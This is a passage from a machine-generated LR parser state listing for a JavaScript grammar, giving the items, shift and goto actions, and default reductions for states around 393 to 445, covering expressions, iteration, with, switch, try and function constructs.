shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 443 - -state 394 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" _ EqualityExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 444 - -state 395 - - 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn "^" _ BitwiseANDExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 445 - -state 396 - - 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" _ BitwiseXORExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 446 - -state 397 - - 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND _ BitwiseORExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 447 - -state 398 - - 186) LogicalORExprNoIn : LogicalORExprNoIn OR _ LogicalANDExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 448 - -state 399 - - 192) ConditionalExprNoIn : LogicalORExprNoIn "?" _ AssignmentExprNoIn ":" AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - AssignmentExprNoIn go to state 449 - ConditionalExprNoIn go to state 312 - -state 400 - - 216) ExprNoIn : ExprNoIn "," _ AssignmentExprNoIn - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 432 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 304 - RelationalExprNoIn go to state 305 - EqualityExprNoIn go to state 306 - BitwiseANDExprNoIn go to state 307 - BitwiseXORExprNoIn go to state 308 - BitwiseORExprNoIn go to state 309 - LogicalANDExprNoIn go to state 310 - LogicalORExprNoIn go to state 311 - ConditionalExprNoIn go to state 312 - AssignmentExprNoIn go to state 450 - -state 401 - - 246) IterationStatement : FOR "(" ExprNoInOpt ";" _ ExprOpt ";" ExprOpt ")" Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - $default reduce using rule 251 (ExprOpt) - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 110 - Expr go to state 451 - ExprOpt go to state 452 - -state 402 - - 224) VariableDeclarationListNoIn : VariableDeclarationNoIn _ - - $default reduce using rule 224 (VariableDeclarationListNoIn) - - -state 403 - - 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn _ "," VariableDeclarationNoIn - 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn _ ";" ExprOpt ";" ExprOpt ")" Statement - - "," shift, and go to state 453 - ";" shift, and go to state 454 - - -state 404 - - 228) VariableDeclarationNoIn : IDENT _ - 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn - 249) IterationStatement : FOR "(" VAR IDENT _ IN Expr ")" Statement - 250) IterationStatement : FOR "(" VAR IDENT _ InitializerNoIn IN Expr ")" Statement - - IN shift, and go to state 457 - "=" shift, and go to state 456 - $default reduce using rule 228 (VariableDeclarationNoIn) - - InitializerNoIn go to state 455 - -state 405 - - 267) WithStatement : WITH "(" Expr ")" _ Statement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - Statement go to state 458 - -state 406 - - 268) SwitchStatement : SWITCH "(" Expr ")" _ CaseBlock - - "{" shift, and go to state 460 - - CaseBlock go to state 459 - -state 407 - - 280) TryStatement : TRY Block FINALLY Block _ - - $default reduce using rule 280 (TryStatement) - - -state 408 - - 281) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block - 282) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block FINALLY Block - - IDENT shift, and go to state 461 - - -state 409 - - 285) FunctionDeclaration : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 462 - - -state 410 - - 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 463 - "," shift, and go to state 422 - - -state 411 - - 29) Property : IDENT ":" AssignmentExpr _ - - $default reduce using rule 29 (Property) - - -state 412 - - 32) Property : IDENT IDENT "(" _ ")" "{" FunctionBody "}" - 33) Property : IDENT IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 464 - - FormalParameterList go to state 465 - -state 413 - - 30) Property : STRING ":" AssignmentExpr _ - - $default reduce using rule 30 (Property) - - -state 414 - - 31) Property : NUMBER ":" AssignmentExpr _ - - $default reduce using rule 31 (Property) - - -state 415 - - 35) PropertyList : PropertyList "," Property _ - - $default reduce using rule 35 (PropertyList) - - -state 416 - - 39) PrimaryExpr : "{" PropertyList "," "}" _ - - $default reduce using rule 39 (PrimaryExpr) - - -state 417 - - 56) MemberExpr : MemberExpr "[" Expr "]" _ - - $default reduce using rule 56 (MemberExpr) - - -state 418 - - 69) CallExpr : CallExpr "[" Expr "]" _ - - $default reduce using rule 69 (CallExpr) - - -state 419 - - 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 466 - ConditionalExpr go to state 109 - -state 420 - - 287) FunctionExpr : FUNCTION "(" ")" "{" _ FunctionBody "}" - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - FunctionBody go to state 467 - SourceElements go to state 468 - -state 421 - - 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 469 - - -state 422 - - 292) FormalParameterList : FormalParameterList "," _ IDENT - - IDENT shift, and go to state 470 - - -state 423 - - 289) FunctionExpr : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}" - - "{" shift, and go to state 471 - - -state 424 - - 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}" - 292) FormalParameterList : FormalParameterList _ "," IDENT - - ")" shift, and go to state 472 - "," shift, and go to state 422 - - -state 425 - - 47) ArrayLiteral : "[" ElementList "," ElisionOpt "]" _ - - $default reduce using rule 47 (ArrayLiteral) - - -state 426 - - 49) ElementList : ElementList "," ElisionOpt AssignmentExpr _ - - $default reduce using rule 49 (ElementList) - - -state 427 - - 78) ArgumentList : ArgumentList "," AssignmentExpr _ - - $default reduce using rule 78 (ArgumentList) - - -state 428 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr _ - - $default reduce using rule 194 (ConditionalExprNoBF) - - -state 429 - - 241) IfStatement : IF "(" Expr ")" Statement _ - 242) IfStatement : IF "(" Expr ")" Statement _ ELSE Statement - - ELSE shift, and go to state 473 - $default reduce using rule 241 (IfStatement) - - -state 430 - - 214) Expr : Expr _ "," AssignmentExpr - 243) IterationStatement : DO Statement WHILE "(" Expr _ ")" ";" - 244) IterationStatement : DO Statement WHILE "(" Expr _ ")" error - - ")" shift, and go to state 474 - "," shift, and go to state 213 - - -state 431 - - 245) IterationStatement : WHILE "(" Expr ")" Statement _ - - $default reduce using rule 245 (IterationStatement) - - -state 432 - - 83) PostfixExpr : LeftHandSideExpr _ - 84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS - 85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS - 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn - - PLUSPLUS shift, and go to state 222 - MINUSMINUS shift, and go to state 223 - PLUSEQUAL shift, and go to state 129 - MINUSEQUAL shift, and go to state 130 - MULTEQUAL shift, and go to state 131 - DIVEQUAL shift, and go to state 132 - LSHIFTEQUAL shift, and go to state 133 - RSHIFTEQUAL shift, and go to state 134 - URSHIFTEQUAL shift, and go to state 135 - ANDEQUAL shift, and go to state 136 - MODEQUAL shift, and go to state 139 - XOREQUAL shift, and go to state 137 - OREQUAL shift, and go to state 138 - "=" shift, and go to state 128 - $default reduce using rule 83 (PostfixExpr) - - AssignmentOperator go to state 383 - -state 433 - - 198) AssignmentExprNoIn : LeftHandSideExpr AssignmentOperator AssignmentExprNoIn _ - - $default reduce using rule 198 (AssignmentExprNoIn) - - -state 434 - - 214) Expr : Expr _ "," AssignmentExpr - 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr _ ")" Statement - - ")" shift, and go to state 475 - "," shift, and go to state 213 - - -state 435 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 132) RelationalExprNoIn : RelationalExprNoIn "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 132 (RelationalExprNoIn) - - -state 436 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 133) RelationalExprNoIn : RelationalExprNoIn ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 133 (RelationalExprNoIn) - - -state 437 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 134) RelationalExprNoIn : RelationalExprNoIn LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 134 (RelationalExprNoIn) - - -state 438 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 135) RelationalExprNoIn : RelationalExprNoIn GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 135 (RelationalExprNoIn) - - -state 439 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 136) RelationalExprNoIn : RelationalExprNoIn INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 136 (RelationalExprNoIn) - - -state 440 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 150) EqualityExprNoIn : EqualityExprNoIn EQEQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 150 (EqualityExprNoIn) - - -state 441 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 151) EqualityExprNoIn : EqualityExprNoIn NE RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 151 (EqualityExprNoIn) - - -state 442 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 152) EqualityExprNoIn : EqualityExprNoIn STREQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 152 (EqualityExprNoIn) - - -state 443 - - 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr - 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr - 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr - 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr - 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr - 153) EqualityExprNoIn : EqualityExprNoIn STRNEQ RelationalExprNoIn _ - - INSTANCEOF shift, and go to state 389 - LE shift, and go to state 387 - GE shift, and go to state 388 - "<" shift, and go to state 385 - ">" shift, and go to state 386 - $default reduce using rule 153 (EqualityExprNoIn) - - -state 444 - - 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn - 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn - 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn - 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" EqualityExprNoIn _ - - EQEQ shift, and go to state 390 - NE shift, and go to state 391 - STREQ shift, and go to state 392 - STRNEQ shift, and go to state 393 - $default reduce using rule 162 (BitwiseANDExprNoIn) - - -state 445 - - 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn - 168) BitwiseXORExprNoIn : 